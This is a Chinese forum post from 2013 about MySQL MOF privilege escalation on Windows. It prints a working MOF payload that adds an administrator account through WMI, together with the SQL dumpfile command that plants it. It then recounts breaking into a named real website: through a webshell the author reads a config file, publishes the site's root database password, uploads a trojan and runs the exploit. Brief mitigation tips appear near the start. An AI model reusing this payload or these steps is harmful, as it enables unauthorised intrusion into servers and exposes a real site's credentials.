找回密码
 立即注册
查看: 3016|回复: 0
打印 上一主题 下一主题

Mysql mof扩展漏洞实例与防范

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:49:49 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
Mysql mof扩展漏洞防范方法
( j& ?4 m: b% O: \' [, y( d
1 s- t6 x! h& v7 M. j网上公开的一些利用代码:) x9 `% A8 h0 l

# u# ~7 z* [/ m. d/ w4 V( S, T7 n2 l#pragma namespace(“\\\\.\\root\\subscription”)
7 x" {6 W! Z. p) J) K' \. ?- M$ }& z* e+ Y" ^
instance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };
; N$ O/ r$ `) M+ _9 ]0 L7 B, X6 ~- |0 D  G/ A; l& v

) M& N$ W; x6 p: i4 X+ g2 T1 D; k; n' q; M9 M, p' [3 @
$ {- `9 C( `- I' w

& W) Q8 Q* t0 U4 g* e' o连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;- w3 g- C. W3 e& W
从上面代码来看得出解决办法:: T4 r! N' y, O+ J" S
$ t$ w) g4 F* e' _
1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数
% {# T6 v6 u* L9 b$ ^: L3 X1 P: ^7 m+ Y! E
2、禁止使用”WScript.Shel”组件
; L4 c9 s9 E" K; C: u  ~& e0 S( C
, |2 u* h$ c  q# z# K/ \2 v3 K3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
, l3 V: F/ t6 L2 F' U
" f, ?/ ?( }, _3 ?( x当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下. n) _' `! U$ t

; G4 u6 I- m& x事情是这样发生的  一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
5 q  B, d' M0 K9 O3 V' g6 A( a# A7 h1 k7 B1 p- O( r+ g5 Q
但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容$ q! z1 C* ~" N3 r+ y9 A& W

: [" u- z% Q% ^% D看懂了后就开始练手吧
# n$ M* U3 u# H# l, {0 U$ q( f& [) Y7 O
http://www.webbmw.com/config/config_ucenter.php 一句话 a
7 k  N( b, w" O: o2 o$ J1 Z# T
; k- H; J) l7 I* Z) y$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
0 E' Z7 u% D& ?2 A
# z( j2 ?7 [4 ?9 y于是直接用菜刀开搞. c: d9 P- Q) ^# A3 i

. j/ P: h8 N0 k: i. k: a4 }' L上马先4 i5 h4 N% ?3 A' w. n+ ]* x
4 L! y! w* \7 I4 _! g; r
既然有了那些账号 之类的 于是我们就执行吧…….
- q- K8 g% H, a" s) c& f3 J& E, f8 f, A* N0 I
小小的说下
5 y+ d6 H- I1 `1 _: H0 B" D
; J3 Q# i" X, X( M0 n" g" ^; o: d在这里第1次执行未成功        原因未知0 U; d0 k$ H, D* T" w. U) C
4 w1 }( S1 t7 s6 O# X8 B
我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。4 w: R# J  l' h4 D" j8 P$ T' c
, B& d+ O: h6 G2 {& U; t4 ^  s
#pragma namespace(“\\\\.\\root\\subscription”)
' e$ }7 |$ r% |5 b# O& a( k' q, Q7 @
instance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };2 @& N; h6 s, ]6 t

) m) y) E+ ~, W9 K$ g7 G. a我是将文件放到C:\WINDOWS\temp\1.mof* Z7 O; H7 t/ [3 U1 x# T
( z8 x' G  J- P
所以我们就改下执行的代码
2 n5 e* y$ h. m% y* ]( y  ?" t5 Q0 e" _
select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
7 _& m9 R: ?" R5 J7 \0 e1 D) x8 O+ I& r- y
, {" z1 }+ V- d! @
7 }9 v0 A4 r% u
但是 你会发现账号还是没有躺在那里。。6 z- d% k& T& X# V3 A

, C& D3 @# ]9 B5 Y  ]3 p5 _. b% E于是我就感觉蛋疼9 j6 }/ J- Q# W  k9 @! Q' q
9 d+ l" n3 P2 g& u. E1 _
就去一个一个去执行 但是执行到第2个 mysql时就成功了………9 S+ z, z9 ?4 j3 @  ~5 m5 {* L

0 ~" D6 ^; B5 c# ]6 E5 u  g. u5 w
2 n& g6 B* }: i% O# e; r
但是其他库均不成功…
  \* D! w6 g: K$ ~+ E8 R0 @- Q, ]5 e5 ~" b8 V" @  d" @, q5 `. Y
我就很费解呀 到底为什么不成功求大牛解答…& I8 [7 x& t  _2 u7 b, c* G

- b% q4 w9 j. u' O0 q1 y
7 p$ f0 S! E  J8 o& ]6 k2 p
6 ^2 ~" V& t( s' a! V& L1 x% K3 o
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表